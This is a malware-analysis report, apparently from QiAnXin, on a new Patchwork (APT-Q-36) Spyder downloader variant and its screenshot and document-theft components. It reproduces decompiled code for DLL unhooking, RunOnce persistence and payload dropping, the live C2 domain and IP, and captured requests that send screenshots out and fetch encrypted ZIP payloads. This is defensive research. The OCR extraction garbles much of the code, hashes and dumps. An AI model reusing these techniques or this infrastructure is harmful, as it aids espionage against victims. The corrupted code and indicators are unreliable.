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Analysis of New Variants and Subsequent Components of
Patchwork(APT-Q-36) Spyder Downloader

R[E] TI F]T
RESEARCH

5 ) e
Group Background

Patchwork, also known as White Elephant, Hangover, Dropping Elephant, etc., is tracked internally by
QiAnXin under tracking number APT-Q-36.The group is widely believed to have a South Asian regional
background, with its earliest attack activity dating back to November 2009, and has been active for more
than 10 years. The group mainly conducts cyber espionage activities against countries in the Asian
region, targeting organizations in the fields of government, military, power, industry, research and
education, diplomacy and economy.

Summary of events

QiAnXIn Threat Intelligence Center previously published an analysis report on the Spyder downloader of

the Patchwork group (121 and recently we found a new variant of the Spyder downloader and observed

that the attackers used the Spyder to distribute two steganographic components, which are used to take
screenshots and collect file information respectively.

Although the core functionality of the Spyder downloader remains unchanged, still releasing subsequent
components from remotely downloaded encrypted ZIP packages and executing them, some changes
have been made to the code structure and C&C communication format, among others. The following is
the attack process of the Spyder downloader and the steganographic components discovered in this
case.
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Detailed analysis

Relevant sample information is provided below:

MD5

689c911532482a6ff84c029beb11681a 202+-00-04

15:12:47 utc

2024-05-21
08:28:54 utc

2024-02-13
10:46:07 utc

7a177ef0b1ce6f03fad424becfb9d37ac

85d0f615923af8196fa7d08ef1c68b64

Spyder downloader

Compile Time

-

70N
SNV

praLint el

RstMwService. exe

http://93.95.230.16/domcomtwit/hen.php

Filename Clarification
eac_launcher.exe Spyder
Downloader
IntelPieService.exe So eeNSNot
component
RstMwService.exe | |€ decryption
component

Sample 689c91f532482aeff84c029be61f681a is disguised with a Word document icon and the program is
digitally signed. The name of the signer is "Xi'an Qinxuntao Network Technology Co. Sun Jun 4, 2024

15:21:35 UTC.
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Configuration data in the new Spyder downloader is stored directly in the code, unlike previous versions
which encrypted it and stored it in the resources area.

g_struct_4C3678 = (struct_Config #)vis;
if ( vis )
{

lstrepyA(Bg_struct_4C3670-=str_wversion, "0.0.8.1");

g_struct_4C3670-=https_flag = 8;

lstrepyll(&g_struct_4C3670-=wstr_host, L"onlinecsstutorials.com");

lstrepyl(&a_struct_4C3670-=wstr_url_dir, L"/soup/");

lstrcpyll(&a_struct_4C3678-=wstr_url_path, L"pencil.php");

lstrepyl(&g_struct_4C3670-=wstr_mutex, L"HTyRkx9IKZV4ZghgpgSkwur2ZHR7CGUIZ"Y;

g_struct_4C3670-=>sleep_time = 4000;

lstrcpyA(&g_struct_4C3678-=wstr_profile, "Fighter");

1pBuffer[1] = (LPCVOID)lstrlenA(&g_struct_4C3678-=str_version);

g_version_encode = Basefd4Encode((unsigned int)LpBuffer[1], &lpBuffer[1], (int)&g_struct_4C3670-=str_wversion);

Traffic spoofing using curl to generate network traffic to retail.googleapis.com and api.github.com.

if ( vis )
{

sub_409568(¢ (int)v18, 10082, "https://retail.googleapis.com/Sdiscovery/rest?version=v2");
sub_4089560( (int)v2e, 43, 1);

sub_409568(¢ (1nt)v20, 18085, "user:pass”);

sub_489560( (int)v20, 18818, "curl/7.42.0");

sub_489560( (int)v2®, 68, 58);

sub_489560( (int)v2e, 213, 1);

sub_4865F0( (int)v20, 2097154, (int)&hMem[1]1);

sub_4@65F@( (int)v2®, 3145731, (int)&v198);

sub_4@65F0( (int)v2®, 1848577, (int)&vi24 + 4);

if (vl
{

sub_489560( (int)vl, 10002, "https://api.github.com/repos/whoshuu/cpr/contributors?anon=truegkey=value");
sub_4@9560((int)v2, 43, 1);

sub_489560( (int)v2, 10005, "user:pass");

sub_409560( (int)v2, 10018, "curl/7.42.0");

sub_409560((int)v2, 68, 58);

sub_409568( (int)v2, 213, 1);

sub_4865Fa((int)v2, 2097154, (int)ve);

sub_4865Fa((int)v2, 3145731, (int)vs);

sub_4865Fa((int)v2, 1048577, (int)vd);

sub_406670(v2);
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Remap the .text segments of multiple system DLLs to unhook the settings for those modules.

236 memset(&var_file_self_path, 6, 0x1000u});
237 | GetModuleFileNamel(@, &var file self_path, 0x10080u);

238 HemapﬁnduleText{_“kernEHE dl1");
239 | |RemapModuleText(L"ntdll.dL1l");
240 [ | RemapModuleText( L "ADVAPI3Z .d1L1"

241 | memset(& older LOCAL APPDATA, ©, Ax806UY;

286 if ( CreateMutexWl(®, 1, &g_struct_4C3670-=wstr_mutex) )
287 {

288 Remaphodulelext(. SHELL3Z.dLL ), |

289 RemapModuleText(L"ole32 dL1");

290 RemapModuleText(L"OLEAUT3Z d1L1");

291 RemapModuleText(L"CRYPT3Z .d1L1");

292 RemapModuleText(L"WS2_32 d1l1");

293 RemapModuleText(L"WININET.dL1");

294 RemapModuleText(L"bcrypt._dl1l");

295 memser(var path, O, sLzeoT(var path)):

hProcess = GetCurrentProcess();
memset(&modinfo, @, sizeof(modinfo));
hModule = CetModuleHandlel(this);
if ( !'hModule )
returm -1;
memset(Buffer, @, sizeof(Buffer));
CetSystemDirectoryW(Buffer, @x2006u);
lstrcatl(Buffer, &String2);
Lstrcatl(Buffer, this);
if ( 1K32CetModuleInformation(hProcess, hModule, &modinfo, @xCu) )
returnm -1;
1pBasedfDLl = modinfo.lpBase0fDll;
lpString2a = (LPCWSTR)modinfo.lpBase0fD1l;
hOobject = CreateFilel(Buffer, 8x80000008, 1lu, @, 3u, @, @);
FileMappingk = CreateFileMappingl(hObject, ©, 0x1000002u, 6, @, @);
v3 = (char #)MapViewOfFile(FileMappingld, 4u, @, @, @);
vd =
V5 = (IMAGE NT_HEADERS #)((char #)lpBase0fDll + 1pBaseOfDL1[151);
vie = v3;
if ( v5-=FileHeader . NumberofSections )
{
do
{

if ( !lstrempA((LPCSTR)vG, ".text") )

w6 = (IMAGE_SECTION_HEADER #*3)((char #*)&v5-=OptionalHeader + 48 * v4 + v5-=FileHeader.S5ize0fOptionalHeader);

)

floldProtect = @;

VirtualProtect{(char *)LlpString2a + v&-=VirtualAddress, vo-=Misc.PhysicalAddress, 0x40u, &fLOLdProtect);

memmove( (char #)yLpString2a + v6-=VirtualAddress, &v10[v6-=VirtualAddress], w6-=Misc_PhysicalAddress);

VirtualProtect((char #)lpString2a + v6-=VirtualAddress, v6-=Misc.PhysicalAddress, flOldProtect, &fLOLdProtect);

¥

++vd;
while ( w4 = v5-=FileHeader MumberOfSections );
1
CloseHandle(hProcess);
CloseHandle(hObject);
CloseHandle(FileMappingW);
FreeLibrary(hModule);
return 9;

The sample sets up multiple scheduled tasks that trigger only once, pointing to
"%LocalAppdata%\zlib1.exe" and copying itself to "%LocalAppdata%)\zlib1.exe".
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The communication data between the sample and the C2 server is placed in a custom field ("boop" in this
case) in the first part of the POST request, and the data is a Base64-encoded JSON string, with some of
the characters replaced after Base64 encoding.

10| dwNumberOfBytesRead = 0;
11| hMem = (CHAR #)Clobalalloc(@x4@u, 2 * arg_sz);

12| wv& = InternetOpenk(
13 "Mozilla/5.@ (Macintosh; Intel Mac 0S5 X 10_15_7) ApplelebKit/537.36 (KHTML, like Gecko) Chrome/184.8.5112.79 Safari/537.36",
14 1u,

0,

8,

0);

hInternet = InternetConnectl(v8, &g_struct_4C3670-=wstr_host, 0x56u, @, @, 3u, 0, 0);
v4 = HttpOpenReguestW{hInternet, L"POST", &g _url, @, @, @, 8, 8);
wsprintfa(hMem, "boop: %s\r\n", arg_content);
HttpAddRequestHeadersa(v4, hMem, OxFFFFFFFF, 0xADEOEGE0Y;
if ( !'HttpSendRequesthW(v4, @, 0, 0, @) )
return 1;
ve = 1;
if ( InternetReadFile(v4, arg_recv_buf, @x480u, &dwNumberOfBytesRead) )
ve = 17;
InternetCloseHandle(v4);
InternetCloseHandle(hInternet);
InternetCloseHandle(v8);
GlobalFree(hMem);
31 return vo;

POST /soup/pencil.php HTTP/1.1

boop: eyJ4ZG1l 1BR1F
BI fQ--

User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 05 X 18_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/184.8.5112.79 Safari/537.36

Host: onlinecsstutorials.com

Content-Length: @

Cache-Control: no-cache
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for { result = 8; result = a2; ++result )
i
vd = ¥(_BYTE *)(al + result);
switch ( vd )
1
case :
*(_BYT : *y(al + result)
break;
case :
*(_BYT : *y(al + result)
break;
case :
*(_BYT : *y(al + result)
break;

1
L

The JSON string sent by the sample to the C2 server "/soup/pencil.php" contains two fixed parts: "xdid"
(the Machine GUID of the infected device) and "about" (the string "0.0.0.1" in the configuration data of the

sample, which may be the version number).

EE _ Ascir

01245078 | £ xdid™ & MO DD N, - 1
01245DEBE | AN A", "about™: "I'-'IC4'|'|'L:|AL,II'-'IQ——
OLZ45DFS | MF.. .45, 01..00... pf.a’#.1.6...n F'-ﬂ'sﬁ.. Hj$.\.5.c.r.i.p.t.s.

T T L - [ - L - - - - - - - | - e

Sending a request to "/soup/pencil.php" serves two purposes: (1) whether or not to collect information
about the device, and (2) to get information about the zip of the subsequent component.

Collecting equipment information

Sample according to the first request to the C2 server "/soup/pencil.php" response to determine whether
the need to collect device information and return, if the response is "1", then the information collection
operation, otherwise skip this step. If the response is "1", then the information collection operation is
performed, otherwise the step is skipped. The collected information is added as a jupiter field in the
JSON string.

pchil ASCIT |
01270408 ' GI
01270A48 |, . 1 MC 4wl JAUMQ—-
01270485 | " 1" jupi " = ":"R.—‘k—fk
01270ACSE | ", page_Td " Uy weather”: "y
0127 0B0S "profile™: F:ﬂnaHFt.'Icg—— news": ﬁyJﬁdDJﬁQUcDQ‘up
01270B48 EQHIESGhETEdEEDFFUUFaUUJtQUdEQﬁJﬂQTtERlEETjdEPSJd FFeaeeann ZMf. ..
D1270BBB| .Y o ul(eueencnnnnans Ovennnns v



The various types of information collected are listed below:

Field Name Save Data

address hostname (of a networked computer)

page_id user ID

weather Operating system version

profile String in sample configuration data ("Fighter")
news Information on installed antivirus software

Download follow-up components

After that the sample enters a looping process of getting subsequent components. Each loop first sends
fake traffic to api.github.com and then requests the C2 server "/soup/pencil.php". If the response is "0", or
the length of the response data is not greater than 5, it simply hibernates and waits for the next loop.

When the response data meets the requirements, the sample extracts information about the zip package
from it for downloading subsequent components. The fields from which information is extracted in the

response data are the following three:

Field Name Clarification

first Category of downloaded components (number)
middle Name of the downloaded zip (string)
last Password (string) for decrypting zip archives

The sample splices the contents of the middle field into "/soup/download.php?mname=" and then makes
a request to the C2 server to download the ZIP archive containing the subsequent components.

717



eyImaX]zdCIeMSwibWlkZGx1IjoiRWh3Q2ExdnYilCIsYXNOIjoiV21UWWFpU2toclV3R1pOUBptdzhWaTIpM254WnVLMHoifQ IGET /soup/download.php?mname=EhwCalvv|HTTP/1.

il

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.@C; .NET4.8E; .NET CLR 2.8.50727; .MET CLR 3.0.30729; .N
ET CLR 3.5.38729)

Host: onlinecsstutorials.com

Connection: Keep-Alive

HTTP/1.1 288 0K

Date: Mon, 24 Jun 2824 87:33:14 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: PHPSESSID=2v2pcdpn2kelq732igal29i288; path=/

Expires: Thu, 19 Now 1981 ©88:52:80 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Content-Disposition: attachment; filename=EhwCalwvv

Vary: Accept-Encoding

CF-Cache-Status: DYNAMIC

Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b%2BDcx4jgodoGsUSwl30tmdJUULPKO35NeubBl GEKpIEsLAF4Xg3cqoyvldgHalFx1
373x9CuFTulD4%2BVHaWRP5QaVoXS sKuXyZ IWglsY%2BvPIzex001v3DESd3GnMeacELt004vb28xcXZ" }], "group”™: "cf-nel”, "max_age": 684800}
NEL: {"success_fraction":®,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 898b@7365f71525e-MXP

Content-Enceding: gzip

PK..3...c.9s.X0.$N.3... . h..... RstMwService. exe...... AE......... ho..... P 2.
.5q.,--.C._y.r.1. % .. Y8(."e...... K..1/~T&....K.F|.g.t..mf.f.Q>e.u3$.6.$.0.]...2...."....... Y. . %2.3.)7. . #.°H. 1., kS.. @.....:..e...e..g..rHL.
|s..r.¥.

Q.c.Q..7.(3....%4....q...%

=p..=xt[X..~.51....#xZ.au...b..rH.” ._y..u..js.ya.c*...=>v.
..1...k..a=UNF..... S L8D.95 [ (oo heg. . k. RIdD. . L e e O TR S 0....H.7B.Ea: .w*X.w....L,.
- |pp&X. . . N.4.h.K.i..5...4.. kMi.

Recipe ~ 3@ ¥ input + D=2l w =
ey ImaX]zdCI6MSWibW1kZGx 101 RWh3Q2ExdnY1LCTsYXNOT joiV21UVWF pU2toc 1V3R1p0UBptdzhilaTIpM254WnYLIHo1 o=

From Base64 ~Qn

Alphabet

A-73-70-9+/= - Remove non-alphabet chars

|:| Strict mode

sec 100 = 1 Tr Raw Bytes <&~ LF

Output R0 @E::

H "first":1,"middle”:"EhwCalvv™,"last"” : "WmTUQiSkhsUwFZNSImw8Vi2i3nxZukKez"}

The components in the zip package are extracted to the INTERNET_CACHE directory (i.e., "C:\Users\
[user_name]\AppData\Local\Microsoft\Windows\INetCache\"), and then CreateProcessW is called to
execute it.

var_exec_path = (WCHAR *)Clobalalloc{@xd4Bu, 2 * vZ0 + 1824);
wsprintfl(var_exec_path, L"%s\\%hs", &folder_INTERMET_CACHE, w35);
v2Z2 = CreateFilell(var_exec_path, Ox10000000u, 1lu, @, 2Zu, @xB88u, 8);
WriteFile(w22, w27, v18, &GNumberOfBytesWritten, 8);
CloseHandle{v22);

StartupInfo.ch = 68;

memset(&StartupInfo.wShowdindow, 8, 28)%;
memset(&StartupInfo.lpReserved, @, 48);

StartupInfo.dwFlags = 1;

CreateProcessh(var_exec_path, @, 8, 8, 1, Ox8000000u, 0, @, &StartupInfo, &ProcessInformation);
ClobalFreef{var_exec_path);
ClobalFree(vz7);

Follow-up components
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Two types of follow-up components released through the aforementioned Spyder downloader have been
observed, both bearing the same digital signature as the Spyder downloader ("Xi'an Qinxuntao Network
Technology Co., Ltd."), with the main functions of screen shot return and file information stealing,
respectively.

Component 1: Screenshot

The screenshot component IntelPieService.exe saves the screenshot as image.bmp and returns it to
hxxp://onlinecsstutorials[.] com/soup/upsman.php.

DC = GetDC(B);
CurrentObject = GetCurrentObject(DC, 7u);
GetObjectl(CurrentObject, 24, &pv);

V3 = *(_QWORD *)((char *)&pv + 4);
DeleteObject{CurrentObject);

Buffer = 19778;

v24 = 54;

LODHORD(v19) = 48;

*(_DHWORD *)v20 = @;

HIDWORD(v19) = 1572865;

*(_QWORD *)((char *)&v19 + 4) = v3

*(_QWORD *)&pbmi.bmiHeader. b\ClrUsed = *(_QWORD *)&v20[16]:
#*(_OWORD *)&pbmi_bmiHeader biSize = vi19;

1/ FRERERICH

D! :
v15 = sub_481900(0);

if ( vis ) *(_OWORD ")&pbmi..bmHeadEr.biCDmpressinn = *(_OWORD *)v2@;
CompatibleDC = CreateCompatibleDC(DC);
LABEL_30: ho = CreateDIBSection(DC, &pbmi, @, &ppvBits, 8, 0);

sub_401880();
DeleteFilell(&aImageBmp_0);

SelectObject{CompatibleDC, ho);
dwDesiredAccess_12 = x1a;

GlobalFree(ve); x1 = DC;
return 9; BitBlt(CompatibleDC, ©, ©, v3, SHIDWORD(v3), DC, dwDesiredAccess_12, yl, ©xCCB@20u);
FileW = CreateFilel(1lpFileName, ©xCE000000, 6, O, 2u, Ox80u, 8);
v16 = vi5; if ( FileW == (HANDLE)-1 )
sub_404950(&LlpMen, &v18, 1); {
99 sub_404950(&1pMem, &vi18, 1); v7i =8
108 | memset(var_upload_url, ©, sizeof(var_upload_url));
181| wsprintfA(var_upload_url, "http://%s/%s", aOnlinecsstutor, aSoupUpsmanPhp); else
102 | sub_401B70(vi6, 10002, (char)var_upload_url); {
183| sub_401B70(vi6, 18824, (char)lpMem); v6 = FileW;

184 | if ¢ 'sub_401968(vi16) ) WriteFile(FileW, &Buffer, @xEu, &NumberOfBytesWritten, ©);
{ )

105 WriteFile(vé, &vi19, Ox28u, &NumberOnytssertten B

106 sub_404978(1pMen) ; lriteFile(v6, ppvBits, HIDWORD(V3) * (((24 * (1nt)v3 + 31) »» 3) & OXFFFFFFFC), &NumberOfBytesWritten,
187 sub_401ABA(v16); FlushFileBuffers(v6);

108 goto LABEL_30; CloseHandle(v6);

109| } vi o= 1;

T

DeleteDC(CompatibleDC);

ReleaseDC(@®, x1);

DeleteObject(ho);
return v7;

The Machine GUID of the device is still used as the uid in the request data sent.

POST /soup/upsman.php HTTP/1.1
Host: onlinecsstutorials.com

Accept: =/*
Content-Length: 4752286
Content-Type: multipart/form-data; boundary=--------------~--—-—————- XB51jxmeFrHA4jWepZCebY

Expect: 18@-continue
__________________________ XB5ijxmeFrH44jWepZCgbY
Content-Disposition: Form—data;

—————————————————————————— XB51ijxmeFrH44jWep7CgbY
Content-Disposition: form-data;|name="image"; filename="image.bmp" |
Content-Type: application/octet-Stream

T — T A9"A9"BOH#BOHAS @7 ! @7 | AB"AB"@3 | AB"AI"BOHB : #BOH#AS"AO"@B! AB"AB"@7 | A9"BOH#H@B | A9"B : #A9"AB"AB @B A
9 B H#C:PC: $A9"BS#B #B:#BOHAI A B! AB"AB AB @S ! AB"AB"AB"E  #BOH#AIEE! 27 AB“AS"AS“BOHB #(: $BOH#BOHE  #AB"BOH#C; $C:$A9 @B | AB A A AB AT AT A BOHBIHEI
#BO#BOHB : #B : #BOH#BOH#BOHE : #BO#AS A9 " BOH#B : #BOH#BO#A "AB"BI#A9 "AS"AB BOH( : $BOHAIAS"AB A9 AR @7 1 @7 | ABBOH#A9"AS"AB"AB A9 @8 | @7 | A9"BOH@B |@7 | A9"B: #AB @7 !
AB"BOHC:$C:$B9#B #B: #BO#AI A A @B @B AB A9 AB"AB"BOHA A9 BO#B  #AT"AB"BIH#AI " BOHBOHAI AT "AI"AI"AB"AS AS AB A AT BIHC; $B  #AB @B @7 | AB"AS"AS"AI"B
9#M9"@8 ! A9 BOHAB @B !B #C : $B: #B : #B:#A9"@7!?7 AB"A9"@B!AB"@S!BI#C ; $BO#BIHBO#ES! AB"BIH#AB @8 | AB"@B 1 A9"BI#AI AT AB A" AB"AB"A9"BI#B : #B9H#A8"BI#B 1 #B : #B:
#A9"AB"AD"BOHAS @B ! AB AT B #C: AT @B A BOH#BOH#BOHAD " AB A9 AG AB A AB AT B #B  #AD @B | AD"E (#B  #B :#AO A B #B: #AO @7 @7 | AG"AG @B | AD"AD B  #B : #B 1 #A9"
A9"@BIAIAI @7 I AS B #E8 A E #AI AT AT EE 1A #C; $C; $A9 B #B  #B #B #A9 A @S A AT AT @B | AB"AB AB B  #BO#AS @SB! 27 AB"AI"AS"BOHB :#C: $BOH#BOHE 1 #AB"B
9#C; $C: $AS @B | AB"AB AB"AS"A9"AD"AS"BOHBO#BO#BOHBOHE 1 #B : #BO#BO#BOHE 1 #BOHAB "AQ " BOHB : #B9#BOHFAO"AB"BOHA9 "AB"AB"BO#C : $BOH#A9"A9"AB AS"AB @7 | @7 | AB"BO#A9
"AS"AB"AB"A9"@E!@7!AS"BOH#EE | @7 | A9"E  #AB @7 | AB"BO#C: $C: $BOHE  #B  #BOH#HAI"AI"AI"@E @B AB"AS A A BOHAI AT BOHE  #A9 AR BOHAT "BOHBOHAI " AS " AS A AB A"
A9"AB"A9"A9"BI#C; $B: #AB @8 @7 ! AB"AI"AI"A9"BI#AI @B AS"BIHAB @B ! B: #C: $B :#B : #B: #A9 @727 A8A9"@8!A8"@7 ! B9#C ; $BO#BI#BOHET | AB"BIH#AB @7 | AB"@7 ! AB"BIHA
8"AB"AB"ABAS"AS"AB"BOHBOHBO#AR BOHBO#BO#BIHAS T AB AR BOH#AB @7 | AB"AB"BOHC : SAR @7 | AB"BO#BIH#BI#AB AB | AB"AB"ABI AB"ABIAB B9 BO AR @7 | AB! BI"BI"BI"AB"AB
"B9"BO"AS!@7 @7 AS!AB!@7!AS!A8"BI"BOH#ES "AS"AB"@7!ASIAB!@7 AS"BO"@7!AB"BI#AG AB!AB!@7|AB"BOH#C #C  #AB B9 "BO#BOHBO"AS AS!@7 ! ABIASIAB!@T7!@3! @5 @8 !B9#
A9"AB"@7 1?26 @7!AB"AB"AS"BIH#BI#AB"AB BO#HET A8 C: $E39#A8 @?l@?l@?l@?l@?mf} "ABTABTABTAB ABTABTABT . V. VL VL LV VL VL VL VL VL VL VL YL VL L VL YLV LY
VST L VR Y ST ST ¥ S T VY S T T S Y P T B, LMOUMLUMEe 26 ATIBBTRZL6 @7'AS"BQ#BS#AS"BS"BS"AS"A?'A?'A?'@G @6 @7!A7!@7!@7!AB"ATIAT7
IAB"BB"AT!@7! A8 @7 ! AB AT @7l@?'@?'@?'@ﬁl@?'@?'@ﬁ'@?'@?m? B9#AB"@6!?6 25 @6'@7'@7'@7' B Y VY VA VT VN VS V)

SV VL VL VL L VL VL VL VL YL L YL L VL VL VL YL L YL L VL VLV L YL L VL YL LY WYL L v ohL LML UM U MAT g6 |@e @6AT e *5 @6 @6!AVTBBTE6! 25 @e!ATIATIAT!I@G!IEG @6!@
6!@5 @6!'@5 @5 AG!AG!@6!?5 @5 AG!AB!IAGI@E!@6!AGIAG!I@S ?4.24.@5 @5 ?5 @5 @G!AG!A?“AG!@G!@G!?E @ @5 ?4.@6!'A6!25 @6!A7"@6!@5 @5 24 @5!A6"BT"B7 @5 A6
IABIAGIAGIES @5 ?4 @5 @5 @5 4 @5 @5 @5 A6!@6!@5 ?4.>3.25 @5 @5 @6!ABIA7 @6I@E!AGI25 @6!B7"A7"@5 24.24 24 24 24 @5 @5 @5 @5!@5!@5!@5!@S!A6IAGIES!

Component 2: Document theft
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The file steganography component RstMwService.exe first sets its own file path to the data of

DeviceDisplay under the current user RunOnce in the registry.

memset(Filename, B, sizeof(Filename)});
GetModuleFileNamel (@, Filename, 8x2008u};
RegCreateKeylW_ptr({

vd5 = lstrlenl(Filename);
RegSetValueExW_ptr{ve3[e],
RegCloseKey_ptr{ve3[8]);

"SOFTWAREV\Microsofti\\Windows\\CurrentVersion\\RunOnce", wv63);

"DeviceDisplay", @, 1, Filename, 2 * wv45);

Release the file from the resource area and save it as MsEngLU.dIl (MD5:
c568d613ba74fd6cd5da730f6ce38626) in the INTERNET_CACHE directory.

----- | BINARY OOOBDDES |40 5A 90 00 03 00 00 OO0 04 00 00 00 FF FF 00 00 M
v |- 1} ENGLUA OOOBDDCE | BS OO0 00 00 00 00 00 00 40 00 00 00 00 00 00 00 @
! b 102 : 1033 OOOBDDDE |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
_____ T Cursor OOOBDDES |00 00 00 00 00 00 00 00 00 00 00 00 18 O1 00 00
_____ Bitmap OOOBDDFS | OF 1F BA OF 00 B4 09 CO 21 B3 01 4C CD 21 B4 &3 . ' L !Th
] OOOBDEOS | &9 73 20 70 72 6F &7 72 61 6D 20 &3 61 &6E 6E &F 15 Program cannoe
""" | Ieon DOOBDELS |74 on &2 65 on 72 75 &F 90 A9 &F 90 A4 4F B3 o0 t be run in DOS
172 while ( __PAIR64__(v22, v24) = 7 J; // "ENGLUA" (xor decrypted string)
173 #(_BYTE #*)(vAl + 7) = ©;
174
175| hResInfoa = FindResourceA(®, (LPCSTR)Ox66, (LPCSTR)VZ1);
176| 1if ( hResInfoa )
3605 vde = SizeofResource(®, hResInfoa);
306 Resource = LoadResource(®, hResInfoa);
367 v48 = LockResource{Resource};
368 memset(var drop dLL path, 6, Ox10080u3;
3609 SHGetFolderPathl(@, ., B, 8, var_drop_dll_path);
310 lstrcathW{var_drop_dll_path, L"\\MsEngLU.dLll"};
311 ((void (__stdcall *)({_DWORD, const wchar_t *, const wchar_t *, _DWORD, _DWORD, int))MessageBoxTimeo
312 .
313 "Windows Update Complete!”,
314 "Mucrosoft WUSA",
315 @,
316 @,
317 400);
318 RemapModuleText{L"ntdll.dL1");
319 FileW = CreateFilel(var_drop_dll_path, @x10808880u, 1lu, 8, Zu, Ox80u, @);
320 if ( FileW != (HANDLE)-1 )
321
322 WriteFile(FileW, w48, w46, (LPDWORD)&vG3[1], @);
323 CloseHandle(FilelW);

Finally load MsEngLU.dll and call the export function DriveBackup.

e @ e e e fe g amaer m prme e me e

50 push _sax
FF15 EOCO0Z2300 €all dword ptr ds:[<LoadLibraryw>]
50 push eax
FF15 9CC02800 €all dword ptr ds:[<GetProcAddress>]
A3 DB7BZADD mov dword ptr ds:[2A7BDS],eax
FFDO £all eax
8B4D FC - s B 1 1ol S ([Jaa Rl |
33C0 XOr eax,eax
SF pop edi
SE pop esi
33CD xor ecx,ebp
5B pop ebx
EE C97D0O500 call ss5do.z639882
BBES mov esp,ebp
o] pop ebp
€2 1000 BEf 10
cC int3
4 push ebp
BBEC mov abp,esp
. aIcA co anAd acm CCECCECD

dword ptr ds:[0028C09C <85d0.GetProcAddress>]=ckernel3z.GetProcAddress>

LTEeXT:i00211A9D 85d0.exe: $1A3D #E9D

MsEngLU.dll is digitally signed "GJT AUTOMOTIVE LTD".

ECX  GBED&FL1
EDX  O0OEFCSEC

EBP ODEFF3A4

ESF  O0EFC3z0

ESI 0000000C

EDI 0117308C "DriveBackup"”

EIP 00211A90 85d0.00211A90

EFLAGS 00000246

ZF 1 PF 1 AF O

OF 0 S5F 0O DF O

CF 0O TFO IF1

Lasterror 000003F0 (ERROR_NO_TOKEN]

£ >
g4 (stdoall) M= W
1: [esp] &26F0000 msenglu.&96FO000

2: [esp+4] 0117308C 0117308C "DriveBackup™

3: [esp+8] 00000000 0OOO0O0D

4: [esp+C] 0O00DDDOOD1 0OOOOOOL

5: [esp+lD] DOCBAOOD OOCBAODO
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=0 =B EFEE =2 3EE LEmiEE = 5%
HEF= =] HrEEiEe
IHEFEE T
EEEME: BEEZ HTEIER
GIT AUTOMO... sha256 2023555250 14..
SZEEFES)
EE IGJT AUTOMOTIVE LTD
ETEM: Iadmin@delﬂanalysis.co.uk
EEESD) S |2023£E5E25E| 14:50:32
EEIEHNV)
EIEWU)
EEENE: FEF B BTEIER,
Sectigo RSA T.. FEIH 2023tF5H25H 14..

The DLL recursively collects file information starting from the user's Desktop, Documents, Downloads,
and OneDrive subdirectories, as well as the root directories of all non-system disks.

(PWSTR *)&var_folder_Desktop);// "%USERPROFILE%‘\Desktop"
&var_folder_Documents);// "®USERPROFILE%\Documents"
&var_folder_Downloads);// "®USERPROFILE%\Downloads"
&var_folder_skyDrive);// "%USERPROFILE%\OneDrive"

SHCetKnownFolderPath({&stru_101223E8,
SHGetKnownFolderPath{&stru_160122480,
SHGetKnownFolderPath({&stru_108122410,
SHGetKnownFolderPath{&stru_101223F0,
CollectFileInfofvar_folder_Desktop);
CollectFileInfof{var_folder_Documents);
CollectFileInfo(var_folder_Downloads);
CollectFileInfo(var_folder_SkyDrive);

*(_DWORD *)RootPathNMName = :

w22 = H

sub_18182260( (int)Buffer, B, 520);
CetWindowsDirectoryW{Buffer, ©x288u);
DriveNumberld = PathCetDriveNumberk{Buffer);
system_drive = (WCHAR #*)GlobalAlloc(@x40u, BOxAu);
PathBuildRootl({system_drive, DriveNumberh};
RootPathName[8] = :

do

{

El

>

oD oEa

El

v1@ = GetDriveTypel(RootPathName) - 2Z;
if ¢ (lvie || viB == 1) && Llstrcmpli{system_drive, RootPathName) 3)// 2: DRIVE_REMOVABLE; 3: DRIVE_FIXED

CollectFileInfo{RootPathName);
++RootPathName[8];

1
while ( (unsigned int)RootPathName[8] == );

The types of files that the steganography software focuses on include documents, zip archives, images,
audio, and emails.
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v

if (

{

UE]
v
v5
Pa
if
{

1
el

{

lstrcmpll{FindFileData.cFileName, L".") && Llstrcmpl({FindFileData.cFileName,

lstrlenb{vl);
lstrlenkW({FindFileData. cFileName);

thCombinel(v5, this, FindFileData.cFileName);
{( (FindFileData.dwFileAttributes & Ox18) != 8 )

CollectFileInfo{v5);
se

Extensionk = PathFindExtensionk{v5);
if ( !lstrcmpl{ExtensionW, L".pdf"} )

(WCHAR #)ClobalAlloc(@x4Bu, 2 * (vd + v3) + 128);

sub_10001358(¢(v5, FindFileData.ftLastWriteTime.dwlLowDateTime);

if ( 'lstrcmpW(ExtensionW, L".doc") )

sub_10801358(v5, FindFileData.ftLastWriteTime.dwlLowDateTime);

if ( !'lstrcmpl{Extensionl, L"_docx") )

sub_10001350(v5, FindFileData.ftLastWriteTime.dwlLowDateTime);

if ( !lstrcmpl({ExtensionW, L".xLs"} )

sub_100801358(v5, FindFileData.ftLastWriteTime.dwlLowDateTime);

if ( V'lstrcmpl{ExtensionW, L"_xLlsx") )

sub_100801358¢v5, FindFileData.ftLastWriteTime.dwlLowDateTime);

if ( llstrcmpl{Extensionl, L" . ppt") )}

sub_18001350(v5, FindFileData.ftLastWriteTime.dwLowDateTime);

if ( 'lstrcmpl{ExtensionW, L"_pptx") )

sub_100801358(v5, FindFileData.ftLastWriteTime.dwlLowDateTime);

if ( 'lstrcmpl{ExtensionW, L".zip") )

sub_100801358¢v5, FindFileData.ftLastWriteTime.dwlLowDateTime);

if ( !'lstrcmpW{ExtensionW, L" . png") )

sub_18001350(v5, FindFileData.ftLastWriteTime.dwLowDateTime);

if ( 'lstrcmpl{ExtensionW, L"_jpeg") )

sub_100801358(v5, FindFileData.ftLastWriteTime.dwlLowDateTime);

if ( 'lstrcmpl{ExtensionW, L"_opus") )

sub_10001358¢v5, FindFileData.ftLastlWriteTime.dwlLowDateTime);

if ( !lstrcmpl{ExtensionW, L".ocgg") )

sub_10001358(¢v5, FindFileData.ftLastWriteTime.dwlLowDateTime);

if ( !'lstrcmpl(Extensionl, L".eml") )

sub_10801358(v5, FindFileData.ftLastWriteTime.dwlLowDateTime);

if ( !'lstrcmpl{Extensionl, L".rar"}) 3}

